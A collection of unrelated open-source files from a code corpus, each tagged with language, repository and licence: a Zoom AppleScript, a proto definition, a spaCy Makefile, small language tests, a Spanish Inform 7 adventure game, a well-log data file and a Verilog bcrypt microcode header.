tell application "zoom.us"
activate
tell application "System Events"
keystroke "v" using {shift down, command down}
log "Toggle video"
end tell
end tell
| AppleScript | 3 | daviddzhou/script-commands | commands/communication/zoom/toggle-video.applescript | [
"MIT"
] |
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
syntax = "proto3";
package v1beta1;
import "github.com/gogo/protobuf/gogoproto/gogo.proto";
option (gogoproto.goproto_stringer_all) = false;
option (gogoproto.stringer_all) = true;
option (gogoproto.goproto_getters_all) = true;
option (gogoproto.marshaler_all) = true;
option (gogoproto.sizer_all) = true;
option (gogoproto.unmarshaler_all) = true;
option (gogoproto.goproto_unrecognized_all) = false;
message ExampleRequest {
string request = 1;
string v1beta1_field = 2;
}
message ExampleResponse {
string error = 1;
}
// Example is a simple example service for general reference on the recommended
// kubelet plugin model and plugin watcher testing.
service Example {
rpc GetExampleInfo(ExampleRequest) returns (ExampleResponse) {}
}
| Protocol Buffer | 4 | yankay/autoscaler | vertical-pod-autoscaler/e2e/vendor/k8s.io/kubernetes/pkg/kubelet/pluginmanager/pluginwatcher/example_plugin_apis/v1beta1/api.proto | [
"Apache-2.0"
] |
SHELL := /bin/bash
ifndef SPACY_EXTRAS
override SPACY_EXTRAS = spacy-lookups-data==1.0.2 jieba spacy-pkuseg==0.0.28 sudachipy sudachidict_core pymorphy2
endif
ifndef PYVER
override PYVER = 3.6
endif
VENV := ./env$(PYVER)
version := $(shell "bin/get-version.sh")
package := $(shell "bin/get-package.sh")
ifndef SPACY_BIN
override SPACY_BIN = $(package)-$(version).pex
endif
ifndef WHEELHOUSE
override WHEELHOUSE = "./wheelhouse"
endif
dist/$(SPACY_BIN) : $(WHEELHOUSE)/spacy-$(PYVER)-$(version).stamp
$(VENV)/bin/pex \
-f $(WHEELHOUSE) \
--no-index \
--disable-cache \
-o $@ \
$(package)==$(version) \
$(SPACY_EXTRAS)
chmod a+rx $@
cp $@ dist/spacy.pex
dist/pytest.pex : $(WHEELHOUSE)/pytest-*.whl
$(VENV)/bin/pex -f $(WHEELHOUSE) --no-index --disable-cache -m pytest -o $@ pytest pytest-timeout mock
chmod a+rx $@
$(WHEELHOUSE)/spacy-$(PYVER)-$(version).stamp : $(VENV)/bin/pex setup.py spacy/*.py* spacy/*/*.py*
$(VENV)/bin/pip wheel . -w $(WHEELHOUSE)
$(VENV)/bin/pip wheel $(SPACY_EXTRAS) -w $(WHEELHOUSE)
touch $@
$(WHEELHOUSE)/pytest-%.whl : $(VENV)/bin/pex
$(VENV)/bin/pip wheel pytest pytest-timeout mock -w $(WHEELHOUSE)
$(VENV)/bin/pex :
python$(PYVER) -m venv $(VENV)
$(VENV)/bin/pip install -U pip setuptools pex wheel
$(VENV)/bin/pip install numpy
.PHONY : clean test
test : dist/spacy-$(version).pex dist/pytest.pex
( . $(VENV)/bin/activate ; \
PEX_PATH=dist/spacy-$(version).pex ./dist/pytest.pex --pyargs spacy -x ; )
clean : setup.py
rm -rf dist/*
rm -rf $(WHEELHOUSE)/*
rm -rf $(VENV)
python setup.py clean --all
| Makefile | 3 | snosrap/spaCy | Makefile | [
"MIT"
] |
(***********************************************************
AMX NETLINX TEST SUITE
EXAMPLE
Website: https://sourceforge.net/projects/amx-test-suite/
The "testing" system contains testing code
that would be loaded onto a master to verify that
functions in the production code return the correct
values.
See the "production" system for an example of the
production setup.
See the "amx-test-suite" include file and/or website
documentation for help compiling and loading this
example test on a master.
From the NetLinx Diagnostics Program, send the string
"run -v" (no quotes) to watch all tests. See the
amx-test-suite include file or the website for more
documentation.
************************************************************)
PROGRAM_NAME='my-project-tests'
(***********************************************************)
(***********************************************************)
(* System Type : NetLinx *)
(***********************************************************)
(* INCLUDES GO BELOW *)
(***********************************************************)
#include 'amx-test-suite'
#include 'my-project-functions'
(***********************************************************)
(* TEST DEFINITIONS GO BELOW *)
(***********************************************************)
DEFINE_MUTUALLY_EXCLUSIVE
/*
* This function is the user-defined entry point for the
* test harness.
*/
define_function testSuiteRun()
{
// Test add() function.
assert(add(1, 2) == 3, '1 + 2 = 3');
// Test subtract() function.
assert(subtract(5, 4) == 1, '5 - 4 = 1');
}
(***********************************************************)
(* END OF PROGRAM *)
(* DO NOT PUT ANY CODE BELOW THIS COMMENT *)
(***********************************************************)
| NetLinx | 4 | RBSystems/amx-test-suite | examples/(1) basic/tests/my-project-tests.axs | [
"Apache-2.0"
] |
fun main () : transaction page =
let
fun handler _ = return <xml/>
in
return <xml><body>
<form>
<submit action={handler}>Uh oh!</submit>
</form>
</body></xml>
end
| UrWeb | 3 | apple314159/urweb | tests/nestedInput.ur | [
"BSD-3-Clause"
] |
"La isla misteriosa" by Grendelkhan (in spanish)
Part 1 - Introducción
Section 1 - Extensiones
[Code17b: forma alternativa de definir los escritos del mapa]
[Code 18: el profesor y su tabla de conversación]
Include Basic Screen Effects Sp by Emily Short.
Include Basic Help Menu SP by Emily Short.
[Datos Bibligráficos]
The story title is "La isla misteriosa".
The story author is "Grendelkhan".
The story headline is "'Una aventura de impredecibles consecuencias'".
The story genre is "Mystery".
The release number is 1.
The story creation year is 2011.
The story description is "El gran conquistador Hernán Cortés se encuentra a merced del peligro en una tierra exótica buscando un tesoro perdido... ¿logrará encontrarlo? ¡Solo depende de tu pericia en esta aventura singular!".
Release along with a website and an interpreter.
Section 2 - Mensaje inicial y ayuda extendida
When play begins:
clear the screen;
display the boxed quotation
"La isla.
por Grendelkhan";
show the current quotation;
wait for any key;
say "Teclea 'AYUDA' durante el juego para recibir instrucciones.[paragraph break]Bienvenido a...";
choose row 1 in Table of Basic Help Options;
now description entry is "[italic type]El gran conquistador Hernán Cortés se encuentra a merced del peligro en una tierra exótica buscando un tesoro perdido... ¿logrará encontrarlo? ¡Solo depende de tu pericia en esta aventura singular![paragraph break][roman type]Este es un juego que sirve como ejemplo para el tutorial de Inform 7 de Grendelkhan.".
Table of Basic Help Options (continued)
title subtable description
"Contactar con el autor" -- "Si tienes dificultades con [story title], contacta conmigo a través de mi e-mail: [email protected] o entra en los foros del portal CAAD: http://foro.caad.es/. "
"Pistas" -- "A continuación van unas cuantas pistas para [story title].[paragraph break][bold type]1. La serpiente odia las piedras.[line break]2. ¿Has probado a nadar en el mar?[line break]3. El mendigo tiene sed.[line break]4. ¡Piensa un poco y lo conseguirás![roman type]".
Part 2 - Escenario
Section 1 - El bosque
Bosque is a room. The description is "Te encuentras en un bosque de enormes árboles.".
Some arboles are in the Bosque. They are scenery. The printed name of arboles is "árboles". The description is "Los árboles son tan altos que apenas dejan pasar la luz del sol.".
[Instead of taking the arboles, say "¡No puedes cargar con todos los árboles del bosque! Si quieres madera, tendrás que conseguirla de otra forma.".]
Section 2 - La playa
Playa is south of Bosque. The description is "Estás en una larga playa desde la que se divisa una lejana isla. Puedes ver muchas palmeras por aquí.".
Some palmeras (f) are in the Playa. They are scenery. The description is "La playa está repleta de palmeras, que se inclinan hacia el mar a causa del viento.".
Instead of taking the palmeras, say "¡No puedes cargar con todas las palmeras de la playa! Si quieres madera, vete al bosque.".
El cofre is in the Playa. The description is "[if open]El pequeño cofre está abierto. Su interior es impermeable y por lo tanto el agua del mar no ha estropeado su contenido...[otherwise]Un pequeño cofre misterioso, bellamente adornado, aunque algo deteriorado por las inclemencias del mar."
It is container, openable, lockable and locked.
Section 2 - El mapa del tesoro
El mapa del tesoro is carried by player. The mapa del tesoro can be seco or mojado. The mapa del tesoro is seco. The description is "¡Parece un mapa auténtico! En el mapa hay varias anotaciones: un dibujo, una cruz, un símbolo y un escrito. Tal vez si logro descifrarlo todo encontraré un tesoro... ¡y seré rico! ¡Ja!".
Understand "examina [text]" as examining as a book when the player carries the mapa.
Examining as a book is an action applying to one topic.
Carry out examining as a book:
say "No encuentras nada relativo a eso en el mapa."
Instead of examining as a book a topic listed in the Table of Clues:
say "[if the mapa del tesoro is seco]Bajo [the topic understood], está manuscrito lo siguiente: [description entry].[otherwise]El mapa está mojado e inservible. ¡Deberías haber tenido más cuidado al cruzar a nado la costa!".
Table of Clues
topic title description
"dibujo/isla" "el dibujo de la isla" "Hay varias islas en este archipiélago del infierno, pero la isla del tesoro es la que está más al norte, y la más peligrosa..."
"cruz" "una cruz en el mapa" "El tesoro se encontró en el barco 'Guadalupe', que fue atacado por los salvajes... si encuentro los restos del barco, encontraré la isla"
"simbolo/tribal" "un símbolo tribal" "Este símbolo es la representación del dios de los salvajes que custodian el tesoro, tal vez si me lo tatuara creerían que soy su dios..."
"escrito" "un escrito" "Romualdo Guimaraes, que murió persiguiendo un sueño. Si encuentras este mapa, encontrarás el tesoro o tu muerte."
[----------------------------------]
Before nadaring en the costa:
if the mapa is carried:
now the description of the mapa del tesoro is "¡Maldición! El agua lo ha destrozado... ¡No debí haber nadado con el mapa en la mano! Tendría que haberlo protegido... ¡ahora no sirve de nada!";
now the mapa is mojado.
Before nadaring en the mar:
if the mapa is carried:
now the description of the mapa del tesoro is "¡Maldición! El agua lo ha destrozado... ¡No debí haber nadado con el mapa en la mano! Tendría que haberlo protegido... ¡ahora no sirve de nada!";
now the mapa is mojado.
La costa is scenery in Playa. The description is "Estas aguas son tan bellas como peligrosas, piensas mientras observas la diminuta isla, allá a lo lejos.". Understand "isla", "mar", "playa", "aguas", "agua", "linea" and "oceano" as the costa.
Instead of nadaring en the costa:
say "Decidido y sin temor te adentras en el mar, nadando hacia la lejana isla...[paragraph break]";
wait for any key;
if a random chance of 1 in 5 succeeds:
say "Pero de repente observas una amenazadora aleta de tiburón que se aproxima hacia tí... ¡intentas huir con todas tus fuerzas! Pero...[paragraph break]";
end the story saying "Mueres en las fauces del tiburón.";
otherwise:
say "Finalmente, y tras un gran esfuerzo, llegas a la costa. Contemplas maravillado la paradisíaca isla...[paragraph break]";
wait for any key;
now the player is in Isla.
Instead of nadaring in Playa, try nadaring en the costa.
Instead of nadaring en the costa for the first time:
say "Decidido y sin temor te adentras en el mar, nadando hacia la lejana isla...[paragraph break]";
wait for any key;
say "De repente, en mitad de la travesía, te das cuenta... ¡el mar está infestado de tiburones! Nadas todo lo rápido que puedes hasta llegar exhausto a la costa... ¡esta vez has tenido suerte![paragraph break]";
wait for any key;
now the player is in Isla.
Section 3 - La montaña
Montana is north of Bosque. The printed name of Montana is "Montaña". The description is "Te encuentras en una alta montaña con multitud de piedras. Desde aquí se divisa un bosque y una playa, allá a lo lejos.".
Some piedras (f) are in the Montana. They are scenery. The description is "Puedes ver numerosas piedras por aquí y por allá.". Understand "piedra" as the piedras.
The piedra (f) is nowhere. The description is "Una piedra con la que podrías hacer mucho daño.".
Instead of taking the piedras:
move the piedra to player;
say "Coges una piedra.".
Section 4 - La isla
The islas is a region. The Isla, the Isla2, the Isla3 and the Isla4 are in the islas.
The vegetacion is a backdrop in the islas. The description is "Multitud de árboles frutales y flores de vivos colores te sorprenden a tu paso, ¡es un auténtico paraiso!.". Understand "arboles", "plantas", "flores", "flor", "bosque" and "oceano" as the vegetacion.
The arena is a backdrop in the islas. The description is "La playa está cubierta de fina arena, que se te escurre entre los dedos.".
Isla is a room. The printed name of Isla is "Costa de la isla". The description is "[if unvisited]Has llegado a una exótica isla en mitad de la inmensidad del mar. Te sorprende la singular belleza de estas costas, que se extienden de este a oeste hasta donde alcanza la vista.[else]La línea de la costa se extiende de este a oeste en esta paradisíaca isla, hasta donde alcanza la vista.".
Isla2 is west of Isla and east of Isla4. The printed name of Isla2 is "Costa de la isla". The description is "[if unvisited]Continúas explorando la isla. Te sorprende la singular belleza de estas costas, que se extienden de este a oesta hasta donde alcanza la vista.[else]La vegetación es más densa en esta parte de la isla y te obliga a meterte en el agua hasta casi la cintura. La línea de la costa continúa de este a oeste.".
Isla3 is west of Isla4 and east of Isla. The printed name of Isla3 is "Costa de la isla". The description is "[if unvisited]Sigues explorando la isla. Te sorprende la singular belleza de estas costas, pero más adentro, al norte, te llama la atención un camino que conduce a un espeso bosque.[else]La isla se extiende en una larga playa de fina arena hasta donde alcanza la vista. Más adentro, al norte, puedes ver un camino que conduce a un espeso bosque.".
Isla4 is east of Isla3 and west of Isla2 and south of Bosque2. The printed name of Isla4 is "Costa de la isla". The description is "[if unvisited]Continúas explorando la isla. Te sorprende la singular belleza de estas costas, que se extienden de este a oesta hasta donde alcanza la vista.[else]La isla se extiende en una larga playa de fina arena hasta donde alcanza la vista.".
Bosque2 is north of Isla3. The printed name of Bosque2 is "Bosque de la isla". The description is "[if unvisited]Has llegado a un exótico bosque. Las plantas, los árboles y las flores de vivos colores te hacen sentir como si estuvieras en un paraíso.[else]Contemplas la gran variedad de vegetación que hay en la isla, algunas plantas jamás las habías visto antes. Más allá, al sur, se vislumbra la costa.".
The riachuelo is fixed in place in Bosque2. The initial appearance is "Un pequeño riachuelo cruza serpenteando el bosque.". The description is "El agua del pequeño riachuelo fluye limpia y clara.". Understand "rio", "agua", "caudal" and "fondo" as the riachuelo.
Instead of turning or touching or pushing or pulling the riachuelo, try taking the riachuelo.
Instead of putting the riachuelo on the cantimplora, try taking the riachuelo.
Instead of llenaring the cantimplora when the player is in Bosque2, try taking the riachuelo. [definimos verbo llenaring en Vocabulario]
Check taking the riachuelo:
if the player carries the cantimplora:
say "Llenas la cantimplora con el agua del riachuelo.";
now the cantimplora is llena;
rule succeeds;
otherwise:
say "Coges el agua del riachuelo con tus manos... y se escurre entre tus dedos.";
rule succeeds.
The sol is a backdrop. The sol is everywhere. The description is "El sol se muestra imponente en mitad del cielo azul.".
Some tablones are in Isla4. They are fixed in place. The initial appearance is "Unos tablones de madera procedentes de un naufragio se encuentran tirados por la arena.". The description is "Restos de un naufragio, y por su aspecto no hace mucho que llegaron a estas costas.". Understand "tablas", "tablon", "restos" and "naufragio" as the tablones.
La cantimplora is nowhere. The cantimplora can be llena or vacia. The cantimplora is vacia. The description is "La cantimplora está algo roñosa, pero parece en buen estado, [if vacia]aunque no contiene nada.[else]está llena de agua.".
Understand "agua" as the cantimplora.
[Para evitar conflicto con el agua de la cantimplora]
Does the player mean drinking the mar: it is very unlikely.
Does the player mean drinking the cantimplora when the player is in Bosque2: it is very unlikely.
Instead of turning or touching or pushing or pulling the tablones, try taking the tablones.
Instead of taking the tablones for the first time:
move the cantimplora to Isla4;
say "Los tablones pesan demasiado, pero al moverlos has dejado al descubierto una cantimplora.".
Instead of taking the tablones, say "Los tablones pesan demasiado para llevarlos tu solo.".
Section 4.1 - El mar
The mar is a backdrop in the islas. The description is "Estas aguas son tan bellas como peligrosas, piensas mientras observas la línea de la costa, allá a lo lejos.". Understand "costa", "costas", "playa", "aguas", "agua", "linea" and "oceano" as the mar.
Instead of nadaring en the mar:
say "Decidido y sin temor te adentras en el mar, nadando hacia la costa...[paragraph break]";
wait for any key;
if a random chance of 1 in 5 succeeds:
say "Pero de repente observas una amenazadora aleta de tiburón que se aproxima hacia tí... ¡intentas huir con todas tus fuerzas! Pero...[paragraph break]";
end the story saying "Mueres en las fauces del tiburón.";
otherwise:
say "Finalmente, y tras un gran esfuerzo, llegas a la playa...[paragraph break]";
wait for any key;
now the player is in Playa.
Instead of nadaring in the islas, try nadaring en the mar.
Section 5 - El aula
The aula (f) is a room. The printed name of the aula is "Aula de historia". The description is "Estás en clase de historia. Todos tus compañeros te miran divertidos al ver que te has vuelto a dormir en plena clase.".
Sebastian is a man in the Aula. The printed name of Sebastian is "Sebastián". The description is "Eres un alumno de instituto, aburrido en plena clase de historia."
Part 3 - Reparto
Section 1 - El jugador
conquistador is a man in the Bosque. The printed name of conquistador is "Hernán Cortés". The description is "Eres un conquistador español del siglo XIV, tu nombre es Hernán Cortés y te encuentras perdido en una tierra desconocida.". The player is conquistador.
Instead of waking up:
say "Oyes una voz a lo lejos que te dice: 'Sebastián! ¡Despierta, Sebastián! Otra vez te has quedado dormido en clase... [bold type]¡Sebastián!'[roman type][paragraph break]";
wait for any key;
say "Aturdido, te despiertas de un sobresalto. Te habías quedado completamente dormido en clase de historia, justo cuando el profesor estaba explicando todo el rollo de la colonización... ¿a quién le importará, si ya hace tanto de eso?[paragraph break]'Sebastián, ¿me puedes decir de qué estaba hablando?' te pregunta airado el profesor Antonio...";
wait for any key;
now the player is Sebastian.
Understand "duermete" as sleeping.
Instead of sleeping:
if the player is Sebastian:
say "Lentamente tus ojos se cierran de nuevo y te sumerges en tu sueño...[paragraph break]";
wait for any key;
now the player is conquistador;
otherwise:
say "Creo que ya estoy durmiendo...".
Section 2 - El naufrago
The naufrago is a man in the Isla. The printed name of naufrago is "náufrago". The description is "Un hombre vestido con arapos está tumbado sobre la arena, moribundo.". Understand "hombre", "arapos", "moribundo" as the naufrago.
The naufrago can be moribundo or recuperado. The naufrago is moribundo.
Rule for printing room description details of naufrago:
if the Isla is unvisited, say " moribundo tumbado sobre la arena, por";
if the cofre is carried and Isla is visited, say " mirando con sorpresa tu misterioso cofre, por";
omit contents in listing.
Instead of touching naufrago, say "El hombre sigue vivo, tal vez puedas ayudarle dándole un poco de agua.".
Instead of attacking naufrago, say "El hombre no representa ningún peligro.".
Instead of waving hands in the presence of the naufrago, say "El hombre entorna los ojos y dice: 'Por dios, ¡qué esperanza me dais!'".
Instead of throwing the piedra at the naufrago, say "El hombre no representa ningún peligro.".
Instead of telling someone about something, try asking the noun about it. Instead of answering the noun that something, try asking the noun about it.
After asking naufrago about "hola", say "El hombre te observa detenidamente y te pregunta '¿Eres amigo o enemigo?.'".
After asking naufrago about "amigo": say "El hombre sonríe con debilidad y te dice 'Mi nombre es Antonio Velasco y hace dos días arribé a estas costas, tras un naufragio...'";
now the printed name of naufrago is "Antonio".
After asking naufrago about "el/-- naufragio", say "'Los piratas nos abordaron y hundieron el barco, creo que soy el único superviviente...'".
After asking naufrago about something, say "El hombre no atiende a lo que dices, prueba con otras palabras".
Instead of giving the cantimplora to the naufrago when the cantimplora is llena:
say "El hombre coge nerviosamente la cantimplora con las dos manos y bebe de ella hasta la última gota...";
now the naufrago is recuperado;
now the description of naufrago is "Un hombre vestido con arapos, ahora tiene mejor aspecto. Es un tipo alto y delgado que parece haber sobrevivido a terrible naufragio.";
now the cantimplora is vacia.
Instead of giving the cantimplora to the naufrago when the cantimplora is vacia:
say "El hombre coge nerviosamente la cantimplora con las dos manos... ¡y ve que está vacía![paragraph break]Encolerizado te la arroja, aunque sin fuerzas, y te implora '¡Dame agua, por favor!'";
move the cantimplora to Isla.
Section 3 - La serpiente
The serpiente (f) is in the bosque. It is an animal. The description is "Una serpiente se aproxima hacia tí desde el sur, con aspecto amenazador...".
Instead of going south in the presence of the serpiente:
say "Intentas rodear a la serpiente para ir al sur, pero esta se abalanza hacia tí con los colmillos y...";
end the story saying "¡Estás muerto!".
Instead of throwing the piedra at the serpiente:
say "Lanzas la piedra a la serpiente, que retrocede asustada, perdiéndose por entre el follaje del bosque...";
remove the serpiente from play;
remove the piedra from play.
Rule for printing room description details of serpiente:
if the Bosque is unvisited, say " aproximándose hacia tí desde el sur,";
otherwise say " siseando amenazadoramente, impidiéndote el paso hacia el sur,";
omit contents in listing.
Section 4 - El profesor
Profesor is a man in the aula. "El profesor Antonio te mira con severidad.". The description is "Tiene un gran parecido con el náufrago de tu sueño.". Understand "Antonio" as the profesor.
After asking the profesor about a topic listed in the Table of profesor_conversacion, say "El profesor dice: [muse entry]."
Table of Profesor_conversacion
Topic Muse
"hola/explicacion/pregunta" "'¡Te he hecho una pregunta! ¿Qué es lo que estaba explicando?'"
"colonizacion" "'Exacto, Sebastián... veo que por lo menos sabía a qué venías a clase. ¿Quién fue Colón?'"
"cristobal/colon" or "cristobal colon" "'Te he hecho una pregunta, ¿quién fue Colón?'"
"descubrimiento/descubridor" "'Colón fue un descubridor, Sebastián... ¿y quién fue Hernán Cortés?'"
"conquistador/hernan cortes" "'Hernán Cortés fue el que conquistó el imperio azteca, lo que hoy es México.'"
"no se" or "no lo se" or "ayuda" "'¿Cómo que no sabes? ¡Hablamos del descubrimiento de América!'"
"america/continente" "'Sí, América, lo que descubrió Colón ¿te suena el nombre, Sebastián?'"
Part 4 - Nudo
Section 1 - Escena del náufrago
Tener sed is a recurring scene. Tener sed begins when the Isla is visited for the first time.
Tener sed ends happily when the naufrago is recuperado.
Tener sed ends sadly when the time since Tener sed began is 30 minutes.
When Tener sed begins:
now contador is 0.
When Tener sed ends happily:
say "El náufrago empieza a tener mejor aspecto, te mira agradecido[line break]-¡Gracias, amigo! -te dice el hombre, levantándose con dificultad."
When Tener sed ends sadly:
end the story saying "El náufrago cae inconsciente en la arena, muerto de sed.'"
The contador is a number that varies.
Every turn during Tener sed:
increase contador by 1;
if contador is 1, say "-¡Tengo sed! Ahh...- le oyes decir.";
if contador is 2, say "El náufrago parece estar sediento, apenas puede apoyarse en la arena.";
if contador is 7, say "Aún puedes escuchar los lamentos del náufrago...";
if contador is 15, say "Deberías pensar en darle algo de agua al náufrago...";
if contador is 20, say "Deberías darle algo de agua al náufrago rápidamente, o caerá inconsciente.";
if contador is 28, say "El náufrago apenas está ya consciente...".
Part 5 – Vocabulario
llenaring is an action applying to one thing. Understand "llena [something]" as llenaring.
report llenaring: say "No parece que [the noun] pueda llenarse, ¿qué pretendes hacer exactamente?.".
nadaring is an action applying to nothing.
understand "nada" and "bucea" as nadaring.
Check nadaring:
say "No hay suficiente agua aquí, ¿dónde he de nadar?".
Report nadaring:
say "Aquí acaba la acción.".
nadaring en is an action applying to one thing.
understand "nada a/en/hacia/-- [something]", "nadia hacia la [something]", "bucea a/hacia/-- [something]" and "bucea hacia la [something]" as nadaring en.
report nadaring en something:
say "No puedo nadar en [the noun], mejor será nadar en el mar...".
rezaring is an action applying to nothing.
understand "reza" as rezaring.
report rezaring:
say "¡Quiera Dios que mis plegarias sean escuchadas!".
Instead of rezaring for the first time, say "Alzas tus brazos al cielo y suplicas al altísimo: 'Padre nuestro, que estás en el cielo, santificado sea tu Nombre; venga a nosotros tu reino...'".
| Inform 7 | 4 | brtl-fhc/I7-Spanish | EJEMPLOS/XaviTutorial/Cap05.ni | [
"Artistic-2.0"
] |
~VERSION INFORMATION
VERS. 1.2: CWLS LOG ASCII STANDARD -VERSION 1.2
WRAP. NO: ONE LINE PER DEPTH STEP
~WELL INFORMATION BLOCK
STRT.M 1670.000000:
STOP.M 1669.750000:
STEP.M -0.1250:
NULL. -999.2500:
COMP. COMPANY: # ANY OIL COMPANY LTD.
WELL. WELL: ANY ET AL OIL WELL #12
FLD . FIELD: EDAM
LOC . LOCATION: A9-16-49-20W3M
PROV. PROVINCE: SASKATCHEWAN
SRVC. SERVICE COMPANY: ANY LOGGING COMPANY LTD.
DATE. LOG DATE: 25-DEC-1988
UWI . UNIQUE WELL ID: 100091604920W300
~CURVE INFORMATION
DEPT.M : 1 DEPTH
DT_STR .US/M : 2 SONIC TRANSIT TIME
RHOB_INT.K/M3 : 3 BULK DENSITY
NPHI_FLOAT.V/V : 4 NEUTRON POROSITY
~PARAMETER INFORMATION
~Other
~A DEPTH DT RHOB NPHI
1670.000 123.450 2550.000 0.450
1669.875 123.450 2550.000 0.450
1669.750 123.450 2550.000 0.450
| Lasso | 2 | dcslagel/lasio | tests/examples/sample_str_in_data.las | [
"MIT"
] |
/*
* This software is Copyright (c) 2016 Denis Burykin
* [denis_burykin yahoo com], [denis-burykin2014 yandex ru]
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
*/
`ifndef _BCRYPT_VH_
`define _BCRYPT_VH_
//`define NUM_CORES 1 <-- defined by a parameter in top-level module
// An attempt to set more will result in cmp_config error (TODO)
// Min. 6, Max. 30.
`define SETTING_MAX 18
// ****************************************
//
// low-level stuff
//
// ****************************************
`define CTRL_NONE 2'b00
`define CTRL_INIT_START 2'b01
`define CTRL_DATA_START 2'b10
`define CTRL_END 2'b11
// ****************************************
`define PN_ADDR_P 5'd0
`define PN_ADDR_ITER_CURR 5'd18
`define PN_ADDR_MW 5'd24
`define PN_ADDR_ZERO 5'd31
//`define PN_ADDR_
`define PD_ADDR_EK 5'd0
`define PD_ADDR_64 5'd18
`define PD_ADDR_ITER 5'd19
`define PD_ADDR_SALT 5'd20
`define PD_ADDR_IDS 5'd24
`define PD_ADDR_CMP_DATA 5'd26
`define PD_ADDR_ZERO 5'd31
//
// Microcode
//
`define MC_ADDR_MSB 6
//
// Unit op. codes
//
// ****************************************
// Extra controls
/*
`define MC_NBITS_E 13
`define E_X_ `MC_NBITS_E'b00000000
`define E_WR_ZF `MC_NBITS_E'b0000_1000
`define E_MW_COUNT_INC `MC_NBITS_E'b0010_0000
`define E_MW_COUNT_RST `MC_NBITS_E'b0001_0000
`define E_OUTPUT_DATA `MC_NBITS_E'b0_1100_0000
`define E_OUTPUT_HEADER `MC_NBITS_E'b0_0100_0000
`define E_SET_CMP_RESULT `MC_NBITS_E'b100_0000_0000
`define E_HASH_NUM_INC `MC_NBITS_E'b1000_0000_0000
*/
`define MC_NBITS_E 4
`define E_X_ `MC_NBITS_E'd0
`define E_RST `MC_NBITS_E'd1
`define E_SET_INIT_READY `MC_NBITS_E'd2
`define E_RST_INIT_READY `MC_NBITS_E'd3
`define E_SET_CRYPT_READY `MC_NBITS_E'd4
`define E_RST_CRYPT_READY `MC_NBITS_E'd5
`define E_SET_EMPTY `MC_NBITS_E'd6
`define E_RST_EMPTY `MC_NBITS_E'd7
`define E_MW_COUNT_RST `MC_NBITS_E'd8
`define E_MW_COUNT_INC `MC_NBITS_E'd9
`define E_SET_CMP_RESULT `MC_NBITS_E'd10
`define E_HASH_NUM_INC `MC_NBITS_E'd11
`define E_OUTPUT_DATA `MC_NBITS_E'd12
`define E_OUTPUT_HEADER `MC_NBITS_E'd13
`define E_WR_ZF `MC_NBITS_E'd14
// PN,S Input
`define INPUT_X_ 2'b01
`define INPUT_DIN 2'b00
`define INPUT_DECR 2'b11
// ****************************************
// P Controls
`define MC_NBITS_P (2 +4 +4 +5)
`define P_X_ 2'b00
`define PN_WR 2'b10
`define PD_WR 2'b01
// "PN" Write Address Register (PNWAR) ops
`define PNWAR_X_ 4'b0000
`define PNWAR_LD_ADDR_P 4'b0001
`define PNWAR_INC_B3 4'b0011
`define PNWAR_LD_ADDR_P_PLUS1 4'b0101
`define PNWAR_INC 4'b0111
`define PNWAR_B0RST 4'b1001
`define PNWAR_ADD2B1SET 4'b1011
`define PNWAR_LD_ADDR_ITER_CURR 4'b1101
`define PNWAR_LD_ADDR_MW1 4'b1111
// "PN" Address Register (PNAR) ops
`define PNAR_X_ 4'b0000
`define PNAR_LD_ADDR_P 4'b0001
`define PNAR_LD_ADDR_ZERO 4'b0011
`define PNAR_INC 4'b0101
`define PNAR_LD_ADDR_ITER_CURR 4'b0111
`define PNAR_LD_ADDR_MW 4'b1001
// "PD" Address Register (PDAR) ops
`define PDAR_X_ 5'b00000
`define PDAR_LD_ADDR_EK 5'b00001
`define PDAR_LD_ADDR_ZERO 5'b00011
`define PDAR_LD_ADDR_SALT 5'b00101
`define PDAR_INC 5'b00111
//`define PDAR_LD_ADDR_4_LR_XOR_SALT0 4'b1011
//`define PDAR_LD_ADDR_4_LR_XOR_SALT1 4'b1101
`define PDAR_LD_ADDR_LR_XOR_SALT0_P 5'b01001
`define PDAR_LD_ADDR_LR_XOR_SALT1_P 5'b01011
`define PDAR_LD_ADDR_LR_XOR_SALT0_S 5'b01101
`define PDAR_LD_ADDR_LR_XOR_SALT1_S 5'b01111
`define PDAR_LD_ADDR_ITER 5'b10001
`define PDAR_INC_ADDR_SALT 5'b10011
`define PDAR_LD_ADDR_64 5'b10101
`define PDAR_LD_ADDR_CMP_DATA 5'b10111
`define PDAR_LD_ADDR_ID0 5'b11001
`define PDAR_INC_B3 5'b11011
// ****************************************
// L & R Controls
`define MC_NBITS_LR 5
`define LR_X_ 5'b00000
`define LR_ZERO 5'b00100
`define LR_Ltmp 5'b01000
`define LR_Round0 5'b10010
`define LR_WR 5'b00011
`define LR_WR_Ltmp 5'b01011
// ****************************************
// S Controls
`define MC_NBITS_S 6
`define S_X_ 3'b000
`define S_WR 3'b100
`define S_RD 3'b010
`define S_RST 3'b011
// "S" Write Address Register (SWAR) ops
`define SWAR_X_ 3'b000
`define SWAR_1 3'b001
`define SWAR_B0RST 3'b011
`define SWAR_INC_B3 3'b101
`define SWAR_ADD2B1SET 3'b111
// ****************************************
// Jumps
//
`define MC_NBITS_CONDITION 5
// JMP_X_ <- no jump
`define JMP_X_ `MC_NBITS_CONDITION'd0
`define JMP_UNCONDITIONAL `MC_NBITS_CONDITION'd1
`define JMP_START_R `MC_NBITS_CONDITION'd2
`define JMP_PNWAR_eq29_b2 `MC_NBITS_CONDITION'd3
`define JMP_SWAR_eq1023_b2 `MC_NBITS_CONDITION'd4
`define JMP_PDAR_eq30_b2 `MC_NBITS_CONDITION'd5
`define JMP_PNWAR_eq15 `MC_NBITS_CONDITION'd6
`define JMP_PNAR_eq14 `MC_NBITS_CONDITION'd7
`define JMP_not_end_wr_P `MC_NBITS_CONDITION'd8
`define JMP_not_end_wr_S `MC_NBITS_CONDITION'd9
`define JMP_not_ZF `MC_NBITS_CONDITION'd10
`define JMP_MW_count_ne2 `MC_NBITS_CONDITION'd11
`define JMP_cmp `MC_NBITS_CONDITION'd12
`define JMP_PNAR_ne29 `MC_NBITS_CONDITION'd13
`define JMP_output_cnt `MC_NBITS_CONDITION'd14
`define JMP_rd_en `MC_NBITS_CONDITION'd15
